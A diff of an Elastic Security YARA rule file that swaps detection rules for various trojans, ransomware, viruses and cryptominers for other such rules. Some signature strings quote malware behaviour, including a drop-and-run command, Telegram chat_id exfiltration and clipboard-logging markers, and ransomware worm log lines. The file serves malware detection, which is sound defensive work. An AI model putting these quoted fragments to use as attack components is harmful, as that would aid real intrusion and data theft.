+		logic_hash = "71f224e3ee1ff29787258a61f29a37a9ddc51e9cb5df0693ea52fd4b6f0b5ad8"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "dcbdbd375bae3d9206a82bbffa9f803492ed9588333075d93fad4b9f3261be7b"
+		tags = "FILE, MEMORY"
+		fingerprint = "e26071afff71506236b261a44e8f1903d348dd33b95597458649f377710492f4"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "filwfp.sys"
-		$a2 = "filnk.sys"
-		$a3 = { 5C 00 64 00 65 00 76 00 69 00 63 00 65 00 5C 00 66 00 69 00 6C 00 77 00 66 00 70 00 }
-		$a4 = { 5C 00 64 00 65 00 76 00 69 00 63 00 65 00 5C 00 66 00 69 00 6C 00 77 00 66 00 70 00 }
-		$b1 = { 31 00 2C 00 20 00 30 00 2C 00 20 00 30 00 2C 00 20 00 }
-		$b2 = { 32 00 2C 00 20 00 30 00 2C 00 20 00 30 00 2C 00 20 00 }
+		$a = { 75 E6 B2 07 FE C0 EB DE 83 EC 10 6A 00 6A 00 6A 00 6A 00 FF 74 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and 1 of ($a*) and 1 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Dustywarehouse_A6Cfc9F7 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ngioweb_D8573802 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Dustywarehouse (Windows.Trojan.DustyWarehouse)"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "a6cfc9f7-6d4a-4904-8294-790243eca76a"
-		date = "2023-08-25"
-		modified = "2023-11-02"
+		id = "d8573802-f141-4fd1-b06a-605451a72465"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DustyWarehouse.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8c4de69e89dcc659d2fff52d695764f1efd7e64e0a80983ce6d0cb9eeddb806c"
-		logic_hash = "2b4cd9316e2fda882c95673edecb9c82a03ef4fdcc2d2e25783644cc5dfb5bf0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7454ee074812d7fa49044de8190e17b5034b3f08625f547d1b04aae4054fd81a"
+		logic_hash = "b51ab7a7c26e889a4e8efc2b9883f709c17d82032b0c28ab3e30229d6f296367"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a0ef31535c7df8669e2b0cf38e9128e662bf64decabac5c9f3dad3a98f811033"
+		fingerprint = "0052566dda66ae0dfa54d68f4ce03b5a2e2a442c4a18d70f16fd02303a446e66"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "%4d.%2d.%2d-%2d:%2d:%2d" wide fullword
-		$a2 = ":]%d-%d-%d %d:%d:%d" wide fullword
-		$a3 = "\\sys.key" wide fullword
-		$a4 = "[rwin]" wide fullword
-		$a5 = "Software\\Tencent\\Plugin\\VAS" fullword
+		$a = { 10 40 74 38 51 51 6A 02 FF 74 24 18 FF 93 C8 00 00 00 83 C4 }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Dustywarehouse_3Fef514B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ngioweb_7926Bc8E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Dustywarehouse (Windows.Trojan.DustyWarehouse)"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "3fef514b-9499-47ce-bf84-8393f8d0260f"
-		date = "2024-05-30"
-		modified = "2024-06-12"
+		id = "7926bc8e-110f-4b8a-8cc5-003732b6fcfd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DustyWarehouse.yar#L25-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4ad024f53595fdd380f5b5950b62595cd47ac424d2427c176a7b2dfe4e1f35f7"
-		logic_hash = "865ea1e54950a465b71939a41f7a726ccddcfa9f0d777ea853926f65bca0da84"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "555d60bd863caff231700c5f606d0034d5aa8362862d1fd0c816615d59f582f7"
+		logic_hash = "ac42dd714696825d64402861e96122cce7cd09ae8d9c43a19dd9cf95d7b09610"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "077bc59b4b6298e405c1cd37d9416667371190e5d8c83a9a9502753c9065df58"
+		fingerprint = "246e06d73a3a61ade6ac5634378489890a5585e84be086e0a81eb7586802e98f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 48 83 EC 30 48 C7 44 24 20 FE FF FF FF 48 89 5C 24 48 48 89 74 24 50 C7 44 24 40 [4] 48 8B 39 48 8B 71 08 48 8B 59 10 48 8B 49 18 ?? ?? ?? ?? ?? ?? 84 DB 74 05 E8 E1 01 00 00 48 8B CE }
+		$a = { ED 74 31 48 8B 5B 10 4A 8D 6C 3B FC 48 39 EB 77 23 8B 3B 48 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Casdet_5D0D33Be : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ngioweb_E2377400 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Casdet (Linux.Cryptominer.Casdet)"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "5d0d33be-e53e-4188-9957-e1af2a802867"
+		id = "e2377400-8884-42fb-b524-9cdf836dac3a"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Casdet.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4b09115c876a8b610e1941c768100e03c963c76b250fdd5b12a74253ef9e5fb6"
-		logic_hash = "e3264f614e257d853070907866b838d1cb53c1f60f7a0123ec503f1d540a15d7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b88daf00a0e890b6750e691856b0fe7428d90d417d9503f62a917053e340228b"
+		logic_hash = "71276698d1bdb9bc494fe6f1aa9755940583331836abc490e0b5ac3454d35de6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2d584f6815093d37bd45a01146034d910b95be51462f01f0d4fc4a70881dfda6"
+		fingerprint = "531a8fcb1c097f72cb9876a35ada622dd1129f90515d84b4c245920602419698"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -89833,62 +93680,56 @@ rule ELASTIC_Linux_Cryptominer_Casdet_5D0D33Be : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C3 EB 05 48 89 C3 EB CF 48 8B BC 24 A0 00 00 00 48 85 FF 74 D7 48 }
+		$a = { EC 08 8B 5C 24 10 8B 43 20 85 C0 74 72 83 7B 28 00 74 6C 83 7B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Glupteba_70557305 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Ngioweb_994F1E97 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Glupteba (Windows.Trojan.Glupteba)"
+		description = "Detects Linux Trojan Ngioweb (Linux.Trojan.Ngioweb)"
 		author = "Elastic Security"
-		id = "70557305-3d11-4dde-b53b-94f1ecc0380b"
-		date = "2021-08-08"
-		modified = "2021-10-04"
+		id = "994f1e97-c370-4eb2-ac93-b5ebf112f55d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Glupteba.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ad13fd7968f9574d2c822e579291c77a0c525991cfb785cbe6cdd500b737218"
-		logic_hash = "f3eee9808a1e8a2080116dda7ce795815e1179143c756ea8fdd26070f1f8f74a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Ngioweb.yar#L161-L178"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "2384e787877b622445d7d14053a8340d2e97d3ab103a3fabfa08a40068726ad0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "bac7daa5c491de8f8a75b203cdb1cdab2c10633aa45a82e6b04d2f577e3e8415"
+		fingerprint = "6cc0ace6beb6c1bf4e10f9781bb551c10f48cc23efe9529d92b432b0ff88f245"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "%TEMP%\\app.exe && %TEMP%\\app.exe"
-		$a2 = "is unavailable%d smbtest"
-		$a3 = "discovered new server %s"
-		$a4 = "uldn't get usernamecouldn't hide servicecouldn't"
-		$a5 = "TERMINATE PROCESS: %ws, %d, %d" ascii fullword
-		$a6 = "[+] Extracting vulnerable driver as \"%ws\"" ascii fullword
+		$a = { C6 44 24 16 68 C6 44 24 15 63 C6 44 24 14 74 C6 44 24 13 61 C6 44 24 12 77 C6 44 24 11 2F C6 44 24 10 76 C6 44 24 0F 65 C6 44 24 0E 64 C6 44 24 0D 2F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Glupteba_4669Dcd6 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Fabookie_024F8759 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Glupteba (Windows.Trojan.Glupteba)"
+		description = "Detects Windows Trojan Fabookie (Windows.Trojan.Fabookie)"
 		author = "Elastic Security"
-		id = "4669dcd6-8e04-416d-91c0-f45816430869"
-		date = "2021-08-08"
-		modified = "2021-10-04"
+		id = "024f8759-aaed-40fb-8052-35b58cf69f4e"
+		date = "2023-06-22"
+		modified = "2023-07-10"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Glupteba.yar#L26-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1b55042e06f218546db5ddc52d140be4303153d592dcfc1ce90e6077c05e77f7"
-		logic_hash = "64b2099f40f94b17bc5860b41773c41322420500696d320399ff1c016cb56e15"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Fabookie.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6c6345c6f0a5beadc4616170c87ec8a577de185d53345581e1b00e72af24c13e"
+		logic_hash = "9477406b718c6489161cf4636be66c4f72df923b9c5a7ee4069ef6a9552de485"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5b598640f42a99b00d481031f5fcf143ffcc32ef002eac095a14edb18d5b02c9"
+		fingerprint = "0f5be9523a9a3f570e36ed8bbc9d113ffc8a40f868d5826e8b236d65f66e186b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -89896,90 +93737,87 @@ rule ELASTIC_Windows_Trojan_Glupteba_4669Dcd6 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 40 C3 8B 44 24 48 8B 4C 24 44 89 81 AC 00 00 00 8B 44 24 4C 89 81 B0 00 }
+		$a1 = { 48 89 C2 4D 33 C0 4D 33 C9 C7 44 24 20 02 00 00 80 }
+		$a2 = { C7 C2 80 84 1E 00 41 C7 C0 00 10 00 00 41 C7 C1 04 00 00 00 48 8B 44 24 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Legionloader_F91120C6 : FILE MEMORY
+rule ELASTIC_Linux_Virus_Gmon_E544D891 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Legionloader (Windows.Trojan.LegionLoader)"
+		description = "Detects Linux Virus Gmon (Linux.Virus.Gmon)"
 		author = "Elastic Security"
-		id = "f91120c6-395d-4c47-acd2-49c7eb1b8013"
-		date = "2024-06-05"
-		modified = "2024-06-12"
+		id = "e544d891-3f6d-4da2-be86-e4ab58c66465"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_LegionLoader.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "45670ffa9b24542ae84e3c9eb5ce609c2bcd29129215a7f37eb74b6211e32b22"
-		logic_hash = "760402587a9ca3d3e6602fe57d3346ea6f60ba5c8d3a902bf493233baab597b0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Virus_Gmon.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d0fe377664aa0bc0d1fd3a307650f211dd3ef2e2f04597abee465e836e6a6f32"
+		logic_hash = "6dcfd51aaa79d7bac0100d9c891aa4275b8e1f7614cda46a5da4c738d376c729"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "81476a8981ca0dbd7ac32073d6dc4362ae251ff06827c120e902f1aa3a53ce68"
+		fingerprint = "269f0777f846f9fc8fe56ea7436bddb155cde8c9a4bf9070f46db0081caef718"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 55 8B EC 83 EC 08 89 4D F8 8B 4D F8 E8 4F 01 00 00 0F B6 C0 85 C0 75 09 C7 45 FC 01 00 00 00 EB 07 C7 45 FC 00 00 00 00 0F B6 45 FC 8B E5 5D C3 55 8B EC 51 89 4D FC 8B 4D FC E8 21 01 00 00 8B }
+		$a = { E5 53 51 52 8B 44 24 14 8B 5C 24 18 8B 4C 24 1C 8B 54 24 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_A310Logger_520Cd7Ec : FILE MEMORY
+rule ELASTIC_Linux_Virus_Gmon_192Bd9B3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan A310Logger (Windows.Trojan.A310logger)"
+		description = "Detects Linux Virus Gmon (Linux.Virus.Gmon)"
 		author = "Elastic Security"
-		id = "520cd7ec-840c-4d45-961b-8bc5e329c52f"
-		date = "2022-01-11"
-		modified = "2022-04-12"
+		id = "192bd9b3-230a-4f07-b4f9-06213a6b6f47"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_A310logger.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "60fb9597e5843c72d761525f73ca728409579d81901860981ebd84f7d153cfa3"
-		logic_hash = "6095ce913e3fb1cfc2f1b091598fc06b2dfec30c2353be7df08dcbb1a06b07c3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Virus_Gmon.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d0fe377664aa0bc0d1fd3a307650f211dd3ef2e2f04597abee465e836e6a6f32"
+		logic_hash = "3df275349d14a845c73087375f96e0c9a069ff685beb89249590ef9448e50373"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f4ee88e555b7bd0102403cc804372f5376debc59555e8e7b4a16e18b04d1b314"
+		fingerprint = "532055052554ed9a38b16f764d3fbae0efd333f5b2254b9a1e3f6d656d77f1e4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "/dumps9taw" ascii fullword
-		$a2 = "/logstatus" ascii fullword
-		$a3 = "/checkprotection" ascii fullword
-		$a4 = "[CLIPBOARD]<<" wide fullword
-		$a5 = "&chat_id=" wide fullword
+		$a = { E5 56 53 8B 75 08 8B 5D 0C 8B 4D 10 31 D2 39 CA 7D 11 8A 04 1A 38 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Sliver_46525B49 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Mountlocker_126A76E2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Sliver (Windows.Trojan.Sliver)"
+		description = "Detects Windows Ransomware Mountlocker (Windows.Ransomware.Mountlocker)"
 		author = "Elastic Security"
-		id = "46525b49-f426-4ecb-9bd6-36752f0461e9"
-		date = "2023-05-09"
-		modified = "2023-06-13"
+		id = "126a76e2-8a97-4347-ac36-9437a512e16c"
+		date = "2021-06-10"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Sliver.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ecce5071c28940a1098aca3124b3f82e0630c4453f4f32e1b91576aac357ac9c"
-		logic_hash = "6e61d82b191a740882bcfeac2f2cf337e19ace7b05784ff041b6af2f79ed8809"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Mountlocker.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4a5ac3c6f8383cc33c795804ba5f7f5553c029bbb4a6d28f1e4d8fb5107902c1"
+		logic_hash = "5a5e157a245a75033abbe6bc7aa66fe6af6d91dc30abe1fdadce85f8f3905b1e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "104382f222b754b3de423803ac7be1d6fbdd9cbd11c855774d1ecb1ee73cb6c0"
+		fingerprint = "08213f4474c7c8fd7a6e59c9ff139fb45f224109ad4e6162c12cff5ac85cb10c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -89987,29 +93825,32 @@ rule ELASTIC_Windows_Trojan_Sliver_46525B49 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { B6 54 0C 48 0F B6 74 0C 38 31 D6 40 88 74 0C 38 48 FF C1 48 83 }
-		$a2 = { 42 18 4C 8B 4A 20 48 8B 52 28 48 39 D9 73 51 48 89 94 24 C0 00 }
+		$a1 = "[SKIP] locker.dir.check > black_list name=%s" wide fullword
+		$a2 = "[OK] locker.dir.check > name=%s" wide fullword
+		$a3 = "[ERROR] locker.worm > execute pcname=%s" wide fullword
+		$a4 = "[INFO] locker.work.enum.net_drive > enum finish name=%s" wide fullword
+		$a5 = "[WARN] locker.work.enum.server_shares > logon on server error=%u pcname=%s" wide fullword
 
 	condition:
-		all of them
+		any of them
 }
-rule ELASTIC_Windows_Trojan_Sliver_C9Cae357 : FILE MEMORY
+rule ELASTIC_Windows_Virus_Floxif_493D1897 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Sliver (Windows.Trojan.Sliver)"
+		description = "Detects Windows Virus Floxif (Windows.Virus.Floxif)"
 		author = "Elastic Security"
-		id = "c9cae357-9270-4871-8fad-d9c43dcab644"
-		date = "2023-05-10"
-		modified = "2023-06-13"
+		id = "493d1897-864e-4f18-8511-0c6c9d990990"
+		date = "2023-09-26"
+		modified = "2023-11-02"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Sliver.yar#L22-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "27210d8d6e16c492c2ee61a59d39c461312f5563221ad4a0917d4e93b699418e"
-		logic_hash = "fea862352981787055961b1171de9b69a9c13d246f434809c8f4416d5c49a0ff"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Virus_Floxif.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e628b7973ee25fdfd8f849fdf5923c6fba48141de802b0b4ce3e9ad2e40fe470"
+		logic_hash = "d3f516966bd4423c49771251075a1ea2f725aec91615f7f44dd098da2a4f3574"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5366540c4a4f4a502b550f5397f3b53e3bc909cbc0cb82a2091cabb19bc135aa"
+		fingerprint = "6a043d05ca24846cfba28b5ea603a3e512a5af4f4e15629851a922190245ca1e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90017,137 +93858,128 @@ rule ELASTIC_Windows_Trojan_Sliver_C9Cae357 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { B1 F9 3C 0A 68 0F B4 B5 B5 B5 21 B2 38 23 29 D8 6F 83 EC 68 51 8E }
+		$a = { 8B 54 24 04 80 7A 03 01 75 04 8D 42 04 C3 8D 42 04 53 8B C8 8A 5A 02 84 DB 74 02 30 19 8A 19 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Sliver_1Dd6D9C2 : FILE MEMORY
+rule ELASTIC_Macos_Cryptominer_Xmrig_241780A1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Sliver (Windows.Trojan.Sliver)"
+		description = "Detects Macos Cryptominer Xmrig (MacOS.Cryptominer.Xmrig)"
 		author = "Elastic Security"
-		id = "1dd6d9c2-026e-4140-b804-b56e07c72ac2"
-		date = "2023-05-10"
-		modified = "2023-06-13"
+		id = "241780a1-ad50-4ded-b85a-26339ae5a632"
+		date = "2021-09-30"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Sliver.yar#L42-L61"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dc508a3e9ea093200acfc1ceebebb2b56686f4764fd8c94ab8c58eec7ee85c8b"
-		logic_hash = "5ef70322a6ee3dec609d2881b7624d25bc0297a2e6f43ac60834745e6a258cf3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Cryptominer_Xmrig.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f"
+		logic_hash = "9e091f6881a96abdc6592db385eb9026806befdda6bda4489470b4e16e1d4d87"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fb676adf8b9d10d1e151bfb2a6a7e132cff4e55c20f454201a4ece492902fc35"
+		fingerprint = "be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = { B7 11 49 89 DB C1 EB 10 41 01 DA 66 45 89 11 4C 89 DB EB B6 4D 8D }
-		$a2 = { 36 2E 33 20 62 75 69 6C 48 39 }
+		$a1 = "mining.set_target" ascii fullword
+		$a2 = "XMRIG_HOSTNAME" ascii fullword
+		$a3 = "Usage: xmrig [OPTIONS]" ascii fullword
+		$a4 = "XMRIG_VERSION" ascii fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Zexaf_B90E7683 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Sythe_02B2811A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Zexaf (Linux.Cryptominer.Zexaf)"
+		description = "Detects Windows Trojan Sythe (Windows.Trojan.Sythe)"
 		author = "Elastic Security"
-		id = "b90e7683-84bf-4c07-b6ef-54c631280217"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "02b2811a-2ced-42b6-a9f1-6d983d1dc986"
+		date = "2023-05-10"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Zexaf.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "98650ebb7e463a06e737bcea4fd2b0f9036fafb0638ba8f002e6fe141b9fecfe"
-		logic_hash = "d8485d8fbf00d5c828d7c6c80fef61f228f308e3d27a762514cfb3f00053b30b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Sythe.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2d54a8ba40cc9a1c74db7a889bc75a38f16ae2d025268aa07851c1948daa1b4d"
+		logic_hash = "ba472b35f583dd4cf125df575129d07de289d6d7dc12ecdcc518ce1eb9f18def"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4ca9fad98bdde19f71c117af9cb87007dc46494666e7664af111beded1100ae4"
+		fingerprint = "4dd9764e285985fbea5361e5edfa04e75fb8e3e7945cbbf712ea0183471e67ae"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 F2 C1 E7 18 C1 E2 18 C1 ED 08 09 D5 C1 EE 08 8B 14 24 09 FE }
+		$a1 = "loadmodule"
+		$a2 = "--privileges"
+		$a3 = "--shutdown"
+		$a4 = "SetClientThreadID"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Orbit_57C23178 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Poshc2_E2D3881E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Orbit (Linux.Trojan.Orbit)"
+		description = "Detects Windows Trojan Poshc2 (Windows.Trojan.PoshC2)"
 		author = "Elastic Security"
-		id = "57c23178-1345-47b7-97b1-aa2075d9d69d"
-		date = "2022-07-20"
-		modified = "2022-08-16"
+		id = "e2d3881e-d849-4ec8-a560-000a9b29814f"
+		date = "2023-03-29"
